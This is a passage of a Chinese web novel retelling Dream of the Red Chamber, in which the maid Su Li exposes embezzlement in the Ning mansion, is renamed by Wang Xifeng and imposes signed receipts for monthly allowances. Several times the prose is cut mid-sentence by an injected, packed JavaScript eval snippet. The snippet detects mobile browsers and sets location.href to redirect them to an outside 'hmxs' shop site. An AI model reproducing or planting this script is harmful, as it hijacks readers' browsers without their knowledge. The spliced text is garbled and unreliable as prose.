尤氏忙道：“妹妹过谦了！柳絮姑娘的本事，我是亲眼见过的，寿宴那事就处置得极好。只要妹妹肯放人，我必定将她奉为上宾，绝不让她受半点委屈！” 王熙凤目光转向苏璃，语气听不出喜怒：“柳絮，珍大奶奶如此看重你，你可愿意过去帮衬几日？” 所有人的目光都集中到了苏璃身上。 她知道，这不是征求她的意见，而是王熙凤要将决定权看似交给她，实则是看她如何应对。答应，是为主分忧；不答应，是自知之明。无论哪种，都需说得恰到好处。 苏璃上前一步，恭恭敬敬地行了一礼，声音清晰而沉稳：“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到小屋，苏璃看着窗外，心情复杂。协理宁国府？这原本是王熙凤的戏码，如今竟落到了自己头上。是机遇，也是巨大的挑战。她知道，自己这一步踏出去，便真正卷入了宁荣二府最核心的纠葛之中。 前方等待她的，是比厨房更加盘根错节的利益网络，是比周瑞家的更加难缠的对手，还有那宁国府深宅里，不为人知的隐秘与污浊。 三日后，她将只身踏入那片更为混沌的水域。 17. 锋芒初显 三日后，宁国府派了辆青绸小车来接。苏璃只带了一个小包袱，里面装着几身换洗衣裳和最重要的算盘、纸笔。 王熙凤特意让平儿送她到二门上，拍了拍她的手，低声道：“记住我的话，凡事留三分。”苏璃点头，深吸一口气，登车而去。 宁国府与荣国府规制相仿，却透着一股不同的气息。相较于西府的富贵雍容，东府更显奢靡张扬，连廊下伺候的小厮丫鬟，眉宇间都带着几分漫不经心的懈怠。 尤氏将苏璃安置在一处僻静的小院落，离正房不远不近，既显重视，又不至于太过惹眼。 她当着几位管事媳妇的面，将一枚沉甸甸的鎏金对牌交到苏璃手中，语气郑重：“柳絮姑娘，往后府中账目一应事宜，皆由你暂代清查。见此对牌，如我亲临，若有那起子刁奴不服管教，或是账目不清，你只管来回我，定不轻饶！” 底下站着的几个管事媳妇，如赖升家的、俞禄家的等，面上恭敬应着，眼神却各异。有好奇，有不屑，更有毫不掩饰的敌意。一个西府过来的黄毛丫头，拿着鸡毛当令箭，就想在宁国府这潭深水里搅风浪？真是笑话！ 苏璃将众人神色尽收眼底，双手接过对牌，神色平静无波：“谢大奶奶信任。奴婢定当恪尽职守，尽力而为。只是初来乍到，诸多规矩不甚明了，还需诸位妈妈、嫂子多多指点。” 态度谦逊，话却留了余地。 尤氏又交代了几句，便让赖升家的带苏璃去账房。 宁国府的账房，比荣国府的更为混乱。账册堆积如山，纸张泛黄，墨迹潦草，更有许多单据散落四处，沾着油渍污垢。空气中弥漫着一股陈年灰尘与霉味混合的气息。 赖升家的皮笑肉不笑：“柳絮姑娘，府里往年账目都在此处了。您慢慢看，若有什么需要，只管吩咐。”说完，便借口有事，匆匆离去，留下两个一脸茫然的小账房。 苏璃并不在意。她挽起袖子，吩咐两个小账房打来清水，自己亲自动手，先将账房打扫干净，再将账册单据分门别类。她动作麻利，条理清晰，不过半日功夫，原本杂乱无章的房间便显出了几分秩序。 接下来的几天，苏璃足不出户，埋首于故纸堆中。她并不急于查问人事，而是先从最基础的账册入手，理清宁国府近年来的收支脉络。越看越是心惊。 宁国府的亏空，远比荣国府更为严重。收入来源单一，主要依靠几处田庄和两个铺面，但账上显示，田庄收成连年递减，铺面更是常年亏损。而支出却大得惊人，除了日常用度，更有许多名目模糊的大额开销，诸如“香料采买”、“古董修缮”、“道场法事”等等，动辄数百两银子，去向成谜。 她注意到，许多有问题的账目，都指向几个关键人物：外管家赖升，负责采买；俞禄，负责田庄收租；以及一个名叫焦大的老仆，虽无具体职司，但账上常有以“马棚杂项”为名的小额支取，累积起来却也不少。 这日，她正对着一笔“重阳节敬神香料采买，支银二百两”的账目皱眉，单据上只有赖升一人的画押。她记得荣国府类似采买，最多不过数十两。 恰巧俞禄家的来送新收的庄子上来的瓜果，顺道“看看”苏璃的进展。见苏璃盯着那笔账，便阴阳怪气地笑道：“柳絮姑娘可是觉得这账目有何不妥？咱们府上向来敬神心诚，这香料都是顶好的，自然价钱也贵些。赖管家办事，可是最稳妥不过的。” 苏璃抬头，看了她一眼，淡淡一笑：“俞妈妈误会了，奴婢只是觉得这香料名贵，不知是何处采买？何种品类？若是合用，或许西府老太太那边也可参照着备办一些。” 俞禄家的没料到她如此回应，噎了一下，含糊道：“这……都是赖管家经手，具体何处，老婆子倒不清楚。” 苏璃点点头，不再追问，只在心中记下一笔。 又过两日，苏璃开始调阅库房记录。宁国府的库房管理更是混乱，许多贵重物品，如人参、鹿茸、皮货等，出库记录含糊，甚至只有支取人，没有用途。 她发现一批上等的貂皮，账上记录是三年前入库，共计二十张，此后便再无记录。她询问库房管事，管事支支吾吾，只说可能赏了人，或是大爷、小爷们拿去用了。 苏璃不动声色，转而查问府中日常用度。她发现各房主子、尤其是贾珍、贾蓉父子的份例，远超定规，且常有额外索取。下人的月钱，也时有拖欠克扣。 她心中渐渐勾勒出宁国府的轮廓：主子奢靡无度，下人层层盘剥，管理彻底失控，硕鼠横行。 时机渐渐成熟。 这日，苏璃请尤氏示下，召集府中所有有职司的管事仆役到前厅。众人稀稀拉拉到来，交头接耳，不知这西府来的丫头要唱哪一出。 苏璃站在厅中，身姿挺拔，手中捧着几本账册和对牌。她目光平静地扫过众人，在赖升、俞禄等人脸上略微停顿。 “奉大奶奶之命，清查府中账目，已有数日。”她开口，声音不大，却清晰地传到每个人耳中，“今日请诸位前来，是有几处账目不明，需向诸位请教。” 她翻开一本账册，语气平稳，却带着不容置疑的力度：“其一，去岁重阳，采买敬神香料，支银二百两。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908590|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据我所知，市面上等檀香、沉香，其时市价几何，在座或有知晓。此笔采买，无具体品类、数量记录，亦无旁人经手见证，仅赖管家一人画押。敢问赖管家，此香采买自何处，何种品类，数量几何，用于何处道场？可有剩余？” 赖升没料到她竟敢直接发难，且问得如此具体，脸色顿时一变，强自镇定道：“此乃……乃是城外白云观道长所需，具体品类繁杂，一时记不清了。早已用完，并无剩余。” 苏璃点点头，并不纠缠，又翻一页：“其二，三年前入库上等貂皮二十张，此后库房再无记录。请问库房管事，此批貂皮现今何在？” 库房管事冷汗直冒，看向赖升，讷讷不能言。 苏璃目光转向俞禄：“其三，城南田庄去岁报称水灾，减免租子三成。然我查阅同期天气记录，并无大涝记载。且减免数额，与庄户数量、田亩数目似有不符。敢问俞管事，减免租子的具体庄户名单、田亩数目，可还留存？” 俞禄脸色发白，嘴唇哆嗦着，说不出话来。 苏璃一连问了七八处漏洞百出的账目，条理清晰，数据确凿，直指核心。她并不高声斥责，只是平静地陈述疑问，却让被问及的人如坐针毡，汗流浃背。厅中一片死寂，先前那些不屑、轻视的目光，早已被震惊和恐惧取代。 这西府来的丫头，哪里是个好糊弄的？她这几日不声不响，竟已将账目摸得如此透彻！字字句句，都敲在他们的要害上！ 尤氏坐在上首，看着底下众人的狼狈相，又看看厅中那个沉静如水、却锋芒逼人的少女，心中五味杂陈。她既觉出了口恶气，又隐隐生出一丝忌惮。这柳絮，果然厉害！ 苏璃合上账册，看向尤氏，恭声道：“大奶奶，奴婢初步核查，账目疑点便有如许之多。其中或有疏漏，但更多恐是人为。若不彻查，恐府库日渐空虚，难以维系。” 赖升等人闻言，面如死灰。 尤氏深吸一口气，知道此刻必须立威，沉下脸道：“岂有此理！竟敢如此欺瞒主子！柳絮姑娘，你继续查！一查到底！我倒要看看，是谁如此胆大包天！”她又对赖升等人厉声道，“你们几个，从今日起，停职反省！所有账目、对牌，一律交予柳絮姑娘核查！若有隐瞒，家法处置！” 一场雷霆风暴，骤然降临宁国府。 苏璃手持对牌，立于风暴中心，神色依旧平静。她知道，这仅仅是开始。真正的较量，还在后头。赖升、俞禄这些盘踞多年的地头蛇，绝不会坐以待毙。而她今日显露的锋芒，也已将自己彻底推到了宁国府所有既得利益者的对立面。 18. 凤姐赠名 宁国府的风波，如同投入静湖的巨石，涟漪迅速荡回了荣国府。 苏璃在东府雷厉风行、连查数位管事的消息，不过两三日工夫，便已传得西府人尽皆知。 下人们议论纷纷，有拍手称快的，也有暗自心惊的，更有那起子与东府管事有牵连的，如周瑞家的、来旺家的，闻讯后更是坐立难安，看向苏璃原先住的那小屋方向，眼神都带着刺骨的寒意。 “好个柳絮！真真是咬人的狗不叫！”周瑞家的在自己屋里，气得摔碎了一个茶盅，胸口剧烈起伏，“竟让她在東府也逞起威风来！再这般下去，这府里还有我们的立足之地吗？” 而荣国府的核心院落里，气氛却截然不同。 王熙凤歪在炕上，听着平儿细声回报东府传来的消息，唇角噙着一丝若有若无的笑意。当听到苏璃如何条分缕析、当众质问得赖升、俞禄等人哑口无言时，她终于轻笑出声，凤眸中流光溢彩。 “好！果然没让我看走眼！”她抚掌赞道，语气里带着毫不掩饰的激赏，“原只当她是个算盘珠子拨得好的，没成想，竟有这般魄力！尤嫂子这次，算是请对了人，也……请了个煞星回去！” 平儿也笑着附和：“可不是么？柳絮妹妹看着不言不语的，办起事来竟这般干脆利落。东府那些积年的老油子，这次可算是碰上克星了。” 王熙凤心情极好，连日来因府中琐事带来的烦闷都消散了不少。她沉吟片刻，忽道：“柳絮这名字，听着终究是小家子气了些，配不上她如今办的这些事。” 平儿心思灵动，立刻接话：“奶奶说的是。‘柳絮’二字，轻飘无根，听着便不贵重。妹妹如今替奶奶独当一面，是该有个更响亮些的名字才是。” 王熙凤点点头，指尖轻轻敲着炕几，若有所思：“她姓苏……单名一个‘璃’字如何？琉璃之璃，澄澈明净，质地坚硬，可映照万物，亦能折射光华。望她心若琉璃，通透明白，身若琉璃，坚不可摧。” “苏璃……”平儿细细品味着这两个字，眼中一亮，“琉璃易碎，却需烈火淬炼方能成器。奶奶这名字取得极好，寓意深长呢！” “既如此，便这么定了。”王熙凤一锤定音，“等她从东府回来，就改了这个名。你吩咐下去，让府里人都知晓。” “是。”平儿笑着应下。 又过了七八日，宁国府那边初步的账目清理告一段落。赖升、俞禄等人虽未立刻被革职，但权柄已被架空，尤氏借着苏璃查出的实证，狠狠发作了一批人，收回了不少亏空，府中风气为之一肃。 苏璃见好就收，将整理清晰的账册和后续管理建议呈报尤氏后，便提出辞行。 尤氏此番受益良多，虽对苏璃心存忌惮，但面上却是十足的感激，赏了不少东西，又亲自将她送回西府，对着王熙凤好一番夸赞。 苏璃回到荣国府，先去王熙凤处回话。 王熙凤见她虽清减了些，但眼神愈发沉静明亮，通身的气度与数月前那个杂役院的粗使丫头已是云泥之别，心中更是满意。 “这趟差事，你办得很好。”王熙凤语气温和，带着显而易见的倚重，“辛苦了。” 苏璃垂首：“为奶奶分忧，是奴婢的本分。” 王熙凤笑了笑，对平儿使了个眼色。平儿会意，端着一个红漆雕花托盘上前，上面放着一套崭新的衣裳，从里到外，料子做工皆属上乘，并非丫鬟规制，倒像是小户人家小姐的穿戴。另有一支赤金点翠的簪子，虽不十分华丽，但做工精巧，价值不菲。 “你在东府立了功，这是赏你的。”王熙凤淡淡道，“还有，我与你改个名字。‘柳絮’二字，终非长久之计。从今日起，你便叫‘苏璃’。琉璃之璃，望你心明眼亮，堪当大任。” 苏璃（自此改称苏璃）猛地抬头，眼中闪过一丝真正的震动。 改名！ 这在这个时代，是极大的恩典和认可，意味着主子将其真正视为“自己人”，寄予厚望。更何况，“苏璃”本就是她之名，此刻听来，恍如隔世，又带着一种奇异的宿命感。 她压下翻涌的心绪，深深叩首下去，声音带着一丝不易察觉的微颤：“苏璃……谢奶奶赐名！定不负奶奶厚望！” “起来吧。”王熙凤虚扶一下，“往后，你便跟平儿一样，在我屋里伺候。外面庄子、铺面的一些账目，你也多上心。府里如今是个什么情形，你心里当有数，能省则省，能揽则揽，需得你多费心了。” 这番话，便是正式将核心的财政大权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908591|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，交托了一部分到她手中。其信任与倚重，远超以往。 “是，奶奶。”苏璃恭声应下。 捧着赏赐回到重新安排的下处，一个单独的小小厢房，苏璃看着托盘里那支金簪和那叠新衣，久久无言。“苏璃”这个名字，如同一个烙印，宣告着她与过去那个卑微的“柳絮”彻底告别。王熙凤的赏识和提拔是真，但随之而来的，是更深的卷入，是更高的位置，也是更明显的靶心。 她知道，从这一刻起，她不再是那个可以偶尔藏拙的“算账丫鬟”，而是真正绑在了王熙凤这架战车上的“自己人”，一荣俱荣，一损俱损。 凤姐赠名“苏璃”的消息，如同长了翅膀，迅速传开。引起的震动，比她在东府查账更甚。 下人们再提起她，语气都变了。“柳絮姑娘”成了“苏璃姑娘”，那名号里带着的，是实实在在的权柄和体面。 就连贾琏在院里撞见她，都特意停下脚步，打量了她几眼，咂咂嘴，对王熙凤道：“如今你身边这个，可是名副其实的‘璃姑娘’了，了不得啊。” 王熙凤啐他一口，眼里却带着得意。 然而，暗处的反应更为激烈。 周瑞家的听到消息，直接砸了手里的针线篮子，脸色铁青：“苏璃？！她也配！不过是个家生奴才，竟也敢用这等名字！凤丫头真是被她灌了迷魂汤！” 来旺家的在一旁添油加醋：“姐姐小声些！如今她正得势，连东府都让她搅得天翻地覆，咱们且避其锋芒……” “避？再避下去，这府里还有我们站的地方吗？”周瑞家的眼神阴鸷，“她如今管着账，又得了这个名字，下一步，是不是就要把我们这些老人都清出去了？不能再等了！” 夜色渐深，苏璃在自己新分得的小厢房里，就着灯火，仔细翻阅着王熙凤交给她的一摞外面铺子的账本。窗棂上，忽然传来极轻微的“叩叩”两声。 她动作一顿，吹熄了灯，悄无声息地走到窗边。 窗外，一片寂静，只有风声掠过树梢。 但她知道，有些东西，已经不一样了。凤姐赠名，如同将她推至聚光灯下，光芒万丈，却也阴影丛生。这深宅大院里的暗流，因“苏璃”这个名字，开始更加汹涌地流动起来。 19. 新官上任三把火 王熙凤赠名“苏璃”的余波尚未平息，另一道命令又如惊雷般在荣国府内外院炸响——着苏璃暂代平儿，协理各房月例发放及部分日常开支用度。 这意味着，苏璃不仅掌着外头庄子铺面的账目，如今连府内众人每月最关心的银钱分发，也需经她的手。权柄之重，直追平儿，俨然成了王熙凤手下又一员实权“大将”。 消息传出，府中各处反应迥异。 主子们处，倒没太大波澜。黛玉听紫鹃说起，只淡淡“哦”了一声，继续低头看她的书。探春听闻，眼中闪过一丝了然与赞赏，对侍书道：“凤姐姐果然知人善任。”宝玉更是不理会这些，只念叨着“璃姐姐近日忙，都不来潇湘馆走动”。唯有赵姨娘，在屋里摔摔打打，跟小鹊抱怨：“什么阿猫阿狗都爬到头上来管钱了！月例银子越发难拿了！” 下人们的反应则复杂得多。一些老实当差、与苏璃无甚交集的，只是好奇观望。厨房里曾被她整治过的李嫂子等人，则是又恨又怕，彻底熄了反抗的心思。而周瑞家的、来旺家的、吴新登家的等一众有头脸的管事媳妇，心中却如滚油煎沸。 “这是要架空我们这些老人啊！”吴新登家的在周瑞家的屋里，急得团团转，“月例银子向来是咱们几个经手，如今让她一个黄毛丫头管了，咱们还有什么油水？还有什么脸面？” 来旺家的也咬牙切齿：“她如今手伸得也太长了！外头铺子、里头厨房、现在连月例银子都管！再过几日，是不是咱们这些管事的位置，也要换她的人来坐了？” 周瑞家的坐在炕沿，脸色阴沉得能滴出水来，手里死死攥着帕子，指节发白。她比旁人更清楚苏璃的厉害，也更明白王熙凤此举的深意。这不是简单的提拔，这是要革新，是要打破她们这些老人多年经营的利益网络！ “慌什么！”她终于开口，声音嘶哑，“她一个新官上任，想烧三把火，也得看有没有那个本事！月例银子牵扯众多，稍有差池，便是众怒难犯！” 她眼中闪过一丝狠厉：“咱们且按兵不动，看她如何施为。等她出了纰漏……哼，捧得越高，摔得越惨！” 苏璃自然清楚自己这“新官上任”有多招眼。王熙凤将这副担子交给她，既是信任，更是考验。办好了，地位彻底稳固；办砸了，便是万劫不复。 她没有丝毫怠慢。第一件事，便是调阅了近两年所有月例发放的记录。她发现，发放过程极不规范。各房主子、丫鬟仆役的等级、数额虽有定例，但实际发放时，常因“一时不便”、“另有开销”等名目，出现预支、克扣、延迟的情况。尤其是底下那些无权无势的粗使仆役，月钱被管事们以各种理由盘剥一层已是常事，发放时间更是没个准信。 此外，各房额外的日常开支，如笔墨纸砚、头油脂粉、零星修补等，账目也颇为混乱，常有超支或去向不明的情况。 苏璃心中有了计较。她没有立刻召集所有管事训话，而是先和平儿仔细商议，重新拟定了一份清晰明确的《月例及日常开支条例》。 条例规定：每月初五，为固定发放日，风雨无阻。各房各人例银，按登记在册的等级定额发放，任何人不得以任何理由预支、克扣、拖延。领取时，需本人或指定委托人签字画押。额外开支，需提前申请，注明用途，经核准后方可支取，且需在事毕后三日内凭单据核销。 条例拟定后，她先呈给王熙凤过目。王熙凤看罢，只说了两个字：“甚好。” 有了王熙凤的首肯，苏璃便开始行动。这日，她召集所有涉及月例银钱发放的管事媳妇到议事厅。 周瑞家的等人磨磨蹭蹭而来，脸上带着或明或暗的不忿。她们倒要看看，这苏璃能玩出什么花样。 苏璃端坐于侧位，并把主位空着，以示尊卑，面前摊开着新拟的条例和账册。她目光平静地扫过众人，开门见山：“奉二奶奶之命，自本月起，府中月例及部分日常开支发放，依此新例行事。” 她示意身后的小丫鬟将誊抄好的条例分发给众人。 众人接过，有的漫不经心，有的仔细观看，看着看着，脸色都变了。条例条条框框，将过去那些可以灵活操作的“灰色地带”堵得死死的！ “苏璃姑娘，”吴新登家的忍不住开口，语气带着为难，“这条例……怕是太过严苛了些。府里事务繁杂，偶尔有些急用，或是下面人一时手头不便，预支些许也是常情。若一概不准，只怕人心不稳啊。” 来旺家的也帮腔：“是啊，而且这签字画押……许多粗使的婆子丫头，连自己的名字都不会写，如何画押？” 周瑞家的冷眼旁观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而，她更清楚，唯有建立起清晰公正的秩序，才能真正堵住漏洞，也才能……在这风雨飘摇的贾府中，为自己赢得更多的筹码和生机。 新官上任的三把火，烧的不只是陈规陋习，更是通往未来的一条险路。 20. 建立新规 新规如同投入油锅的水滴，瞬间激起了无数细小而激烈的爆响。 赵姨娘是第一个跳出来的。当她从彩云口中得知，往后连给环儿多要些纸笔、给自己添盒胭脂都需“申请核准”，登时就炸了毛。她不敢直接去找王熙凤，便一股脑冲到王夫人院里，哭天抹泪。 “……太太！您可要给我做主啊！这府里如今是越发没了规矩了！一个不知哪儿冒出来的丫头，竟也敢管到主子头上来了！连咱们屋里用点东西都要看她脸色，这、这成何体统啊！定是那起子黑了心肝的，挑唆着凤丫头，变着法儿地作践我们母子！”赵姨娘哭得涕泪横流，仿佛受了天大的委屈。 王夫人捻着佛珠，眉头微蹙。她对苏璃并无恶感，甚至因她替王熙凤分忧而略有欣赏。但赵姨娘这般闹，又牵扯到“规矩”、“主子体面”，她身为当家主母，却不能置之不理。 “行了，哭哭啼啼像什么样子。”王夫人语气平淡，“凤丫头管家，自有她的章法。那丫头也是奉令行事。若真是为了府里好，些许不便，忍忍也就罢了。” 这话听着是训斥赵姨娘，实则并未否定苏璃，只是让她“忍忍”。赵姨娘得了这软钉子，心中更恨，却不敢再闹，只得悻悻退下，回头越发变本加厉地挑剔屋里丫鬟，指桑骂槐。 主子层面，有王夫人这模糊的态度挡着，暂时还算平稳。真正的风浪，涌现在第一次月例发放当日。 发放地点设在倒座厅里。厅外，各房各院的丫鬟婆子早早排起了长队，议论纷纷，对新规矩充满好奇与不安。 厅内，几张长案拼起，苏璃端坐主位，旁边是平儿压阵，另有几个识字的丫鬟帮忙登记、核对。周瑞家的、吴新登家的、来旺家的等管事媳妇，面色不善地站在一旁“协理”。 时辰一到，发放开始。 前几房主子院里的大丫鬟，如袭人、鸳鸯、金钏等，都是识文断字、通晓事理的，虽有疑惑，但见平儿在侧，苏璃又解释得清楚，便都依言签字画押，领了银子，过程还算顺利。 轮到那些粗使婆子、小丫鬟时，麻烦便来了。 “什么？还要按手印？我……我手脏……”一个刚做完粗活的婆子畏缩道。 “姑娘，我不会写字，这名字……” “这数目对不对啊？以往好像没这么多？是不是算错了？” “能不能快些？后头还等着呢！” 七嘴八舌，嘈杂一片。负责登记的丫鬟被问得头昏脑涨，队伍开始有些混乱。 周瑞家的见状，眼中闪过一丝得意，上前一步，故作关切地扬声道：“都静一静！乱糟糟的像什么话！苏璃姑娘定的新规矩，自然有她的道理，你们照着做便是！只是这许多人，又不识字，一个个问下来，怕是要耽搁到天黑去了！耽误了各房的差事，可怎么好？” 她这话看似帮腔，实则是火上浇油，点出了新规“效率低下”的弊端，将压力引向苏璃。 吴新登家的也阴阳怪气地附和：“是啊，以往咱们发月钱，哪有这般麻烦？都是按册子叫名，点了银子便走，多利索！如今这般……唉，真是越活越回去了。” 底下排队的仆役听了，抱怨声更大了，看向苏璃的眼神也带上了不满。 平儿蹙眉，正要开口。苏璃却已站起身。 她没有理会周瑞家的等人，而是走到厅前，声音清亮，压过了嘈杂：“诸位稍安勿躁。新规初行，有所不便，在所难免。” 她指着旁边一块早已准备好的木牌，上面用炭笔写了大大的“壹贰叁肆伍陆柒捌玖拾佰仟”等数字，以及“领讫”两个大字。“不识字无妨。待会儿叫到名字，上前确认筐中木签上刻的银子数目是否与你应得相符。若相符，便在这‘领讫’二字下按个指印。筐中另有已蘸好印泥的布卷，手指轻触即可，不会污了手。一人领完，下一人方可上前，避免错乱。” 她又对旁边帮忙的丫鬟道：“每发放完十人，便高声报一次累计人数和时辰，让大家心中有数。” 这番安排，既解决了不识字的问题，又考虑了卫生和秩序，还兼顾了透明度。众人听了，觉得似乎也没那么难，抱怨声小了下去。 苏璃又看向刚才说数目似乎不对的那个婆子，温声道：“这位妈妈觉得数目有异？无妨，你将以往所得，与这筐中木签数额，说与我听听，我为你核算。” 那婆子没想到苏璃如此和气，反倒不好意思了，嗫嚅道：“也……也差不多，许是我记岔了……” 秩序稍定，发放继续。有了明确的流程和解释，速度虽然比往日慢些，却有条不紊。按指印的环节，因准备充分，并未造成太大耽搁。偶尔有小纠纷，苏璃也总能迅速公正地解决。 周瑞家的等人站在一旁，看着苏璃从容调度，将一场可能的混乱消弭于无形，脸色越来越难看。她们准备好的后续发难，竟似一拳打在了棉花上。 发放持续了将近两个时辰，终于接近尾声。绝大部分人都领到了月例，虽然过程新鲜，但银子实实在在到手，又见规矩公正，不少人心中的抵触反而化作了对新规的认可，至少，没人能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908593|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无故克扣拖延了。 最后，轮到发放各管事媳妇们的月钱。周瑞家的、吴新登家的、来旺家的等人上前。 苏璃亲自核对名册，将她们的月例银子一一放入小筐。轮到周瑞家的时，苏璃拿起一块略大的木签，上面刻的数目正是周瑞家的一等管事月例。 周瑞家的瞥了一眼，伸手要去拿银子。 “周妈妈，”苏璃忽然开口，声音不高，却让周围瞬间安静下来，“按新规，领取月例，需签字或按印。请您在此处按个指印。” 周瑞家的手僵在半空，脸色陡然涨红。让她像个粗使婆子一样按手印？这简直是奇耻大辱！ “苏璃姑娘，”她强压怒火，声音从牙缝里挤出，“老身在这府里几十年，向来是领了银子便走，从无此例！你这规矩，莫非是针对我们这些老人不成？” 气氛骤然紧张。所有人的目光都聚焦过来。 苏璃神色不变，目光平静地迎向她：“周妈妈言重了。新规既定，人人皆需遵守，并无例外。今日所有领月例者，上至奶奶屋里的大丫鬟，下至浆洗的婆子，皆已按印为凭。规矩面前，一视同仁。若周妈妈觉得不便，或对新规有疑义，可向二奶奶陈情。但在二奶奶示下之前，还请按规行事。” 她的话不卑不亢，将“规矩”和“二奶奶”抬了出来，堵死了周瑞家的所有退路。若周瑞家的此刻拒绝，便是公然违抗王熙凤定下的新规。 周瑞家的胸口剧烈起伏，瞪着苏璃，眼中几乎喷出火来。她能感觉到周围那些或明或暗的目光，有嘲弄，有幸灾乐祸，也有畏惧。她知道，今天若按了这个手印，她在这府里积攒多年的体面，将荡然无存。可若不按…… 平儿适时地轻咳一声，温言道：“周妈妈，不过是按个指印留个凭证，并非难事。璃妹妹也是依例办事，您多体谅。” 周瑞家的脸色变幻不定，最终，在众目睽睽之下，她颤抖着手，狠狠地在“领讫”二字下按下了鲜红的指印。然后，几乎是用抢的，抓过那小筐银子，头也不回地冲出厅去。 吴新登家的、来旺家的等人见状，哪还敢多言，纷纷灰溜溜地按了手印，领钱走人。 第一次月例发放，虽有波折，终是尘埃落定。新规，在众目睽睽之下，算是立住了。 苏璃看着账册上那一个个鲜红的指印，长长舒了口气。这一关，算是过了。但她知道，周瑞家的今日受此大辱，绝不会善罢甘休。建立新规，如同筑堤，堵住了水流，却也积蓄了更大的压力。下一次的冲击，只会更加猛烈。 21. 雷霆手段 周瑞家的当日羞愤离府，接连两日未曾露面。府中表面平静，却有一股不安的暗流在涌动。关于那日她按指印的细节，被添油加醋地传遍了犄角旮旯，成了下人们茶余饭后最刺激的谈资。 “听说周妈妈气得脸都紫了，那指印按下去，跟血手印似的！” “可不是，几十年的老脸，一朝丢尽了！” “那苏璃姑娘也忒厉害了，连周妈妈都敢硬顶！” “厉害？等着瞧吧，周妈妈可不是吃亏的主儿……” 苏璃对这一切充耳不闻，只按部就班地处理着手中的账目。她知道，暴风雨前的宁静，往往最为压抑。周瑞家的绝不会就此罢休，只是不知她的反击会从何处而来。 就在这诡异的平静中，一则流言如同瘟疫般，悄无声息地从府外蔓延进来，起初只是门房小厮窃窃私语，渐渐竟连厨房采买的婆子都开始眼神闪烁地议论。 流言有两个版本。一个说苏璃仗着二奶奶宠信，在月例发放时苛扣银两，中饱私囊，连周瑞家这样的老管事都被她逼得活不下去。 另一个则更恶毒，影影绰绰地暗示，苏璃如此肆无忌惮地整顿财务、排挤老人，背后恐怕有王熙凤的默许甚至指使，是想趁着管家之便，将公中的银子悄悄挪作私用，填补她放印子钱或私置产业的亏空。 这流言如同淬了毒的蛛丝，看似无形，却黏腻阴险，直指要害。它不仅攻击苏璃，更将矛头隐隐对准了王熙凤。在贾府这样的深宅大院，“贪墨主家财物”和“排挤忠仆”是两桩极重的罪名，足以毁掉任何下人的前程，甚至动摇管家的威信。 平儿最先察觉到风声有异，她心思细腻，人缘又好，很快从几个相熟的下人口中探听到了大概，脸色顿时变了，急忙回禀王熙凤。 王熙凤正看着苏璃新呈上的一份庄子收益简报，闻言，凤眸骤然眯起，手中那页纸被捏得微微发皱。她没有立刻发作，只是周身的气压瞬间低了下去，连屋角的冰盆都似乎冷冽了几分。 “查。”她只吐出一个字，声音冷得像冰碴子，“给我查清楚，这脏水是从哪个阴沟里泼出来的！” 平儿领命，正要出去，王熙凤又叫住她，目光转向侍立在一旁、同样听到消息却面色沉静的苏璃：“你也去。” 苏璃心中一凛，知道真正的考验来了。这不再是府内规矩之争，而是涉及主子声誉的泼天大脏。若处理不好，不仅她自己万劫不复，连王熙凤都要受牵连。 “是。”她肃容应下。 调查并未大张旗鼓。苏璃和平儿分头行动。平儿利用她在府内深厚的人脉，从各房丫鬟婆子口中旁敲侧击，追溯流言的源头。苏璃则另辟蹊径，她换了一身不起眼的粗布衣裳，戴上帷帽，悄悄从后角门出了府。 她记得，周瑞家的女婿，便是京城里一家古董铺子的伙计，那铺子似乎与贾府也有些往来。流言既从市井而起，或许能从这些外围关联处找到蛛丝马迹。 她在街上看似随意地逛着，专挑茶肆、货郎聚集处停留，竖起耳朵。果然，在一处专做仆役生意的茶摊上，听到两个像是大户人家采买模样的人在低声交谈。 “……荣国府如今是越发不行了，连个管账的丫头都敢克扣月钱，逼走老人。” “可不是，听说那丫头凶得很，背后有二奶奶撑腰，想贪墨银子补自己的亏空呢……” “你从哪儿听来的？” 